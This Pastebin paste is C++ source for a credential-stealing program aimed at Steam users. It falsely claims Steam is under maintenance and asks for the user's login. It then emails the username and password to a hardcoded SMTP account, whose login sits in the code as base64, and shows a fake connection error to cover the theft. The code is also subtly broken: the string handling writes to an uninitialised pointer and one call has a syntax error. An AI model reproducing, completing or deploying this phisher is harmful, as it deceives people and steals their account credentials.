Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <winsock2.h>
- #include <iostream>
- #include <fstream>
- using namespace std;
- //----------------- FUNKTIONER ----------------------
- int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data);
- int SendData(char *data);
- void usage();
- void init();
- //------------- GLOBALA VARIABLER -------------------
- int sockfd, new_fd;
- struct sockaddr_in my_addr;
- struct sockaddr_in their_addr;
- struct hostent *he;
- int sin_size;
- int main()
- {
- cout << "Steam is currently under mainteance. \nIf you are to log in, please use this \nprogram to prevent your account from \nbeing stolen." << endl;
- char user[500];
- cout << "Username: ";
- cin >> user;
- char pass[500];
- cout << "\nPassword: ";
- cin >> pass;
- char* data;
- strcat(data, user);
- strcpy(data, "::");
- strcpy(data, pass);
- cout<< "Connecting..";
- SendMail("smtp.home.se", 25, "c3RldmUtcGV0ZXJzb25AaG9tZS5zZQ==", "S2RKbjQtZFIuTw==", "steve-peterson@home.se", "steve-peterson@home.se", char *data);
- cout << "Could not connect to steam network. Try again later.";
- cout << "\nPress enter to exit.";
- cin.get();
- cin.get();
- return 0;
- }
- void init()
- {
- //initiera winsock
- WSADATA wsaData;
- if(WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
- {
- cout<<"WSA Startup failed\n";
- cin.get();
- exit(1);
- }
- }
- int SendData(char *data)
- {
- int len = strlen(data);
- if((send(sockfd, data, len, 0)) == -1)
- {
- cout<<"Error, send\n";
- exit(1);
- }
- }
- int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data)
- {
- init();
- if(( he = gethostbyname(mailserver)) == NULL )
- {
- cout<<"error: hostname";
- exit(1);
- }
- if(( sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
- {
- cout<<"cant create socket";
- exit(1);
- }
- their_addr.sin_family = AF_INET;
- their_addr.sin_port = htons(port);
- their_addr.sin_addr = *((struct in_addr *)he->h_addr);
- memset(their_addr.sin_zero, '\0', sizeof my_addr.sin_zero);
- if( connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1 )
- {
- cout<<"cant connect";
- exit(1);
- }
- //USER, NICK, PING, PONG
- SendData("HELO server\r\n");
- SendData("AUTH LOGIN\r\n");
- SendData(acc_user_b64);
- SendData("\r\n");
- SendData(acc_pass_b64);
- SendData("\r\n");
- SendData("mail from:");
- SendData(from);
- SendData("\r\n");
- SendData("rcpt to:");
- SendData(to);
- SendData("\r\n");
- SendData("data\r\n");
- SendData(data);
- SendData("\r\n.\r\n");
- SendData("QUIT\r\n");
- }
Add Comment
Please, Sign In to add comment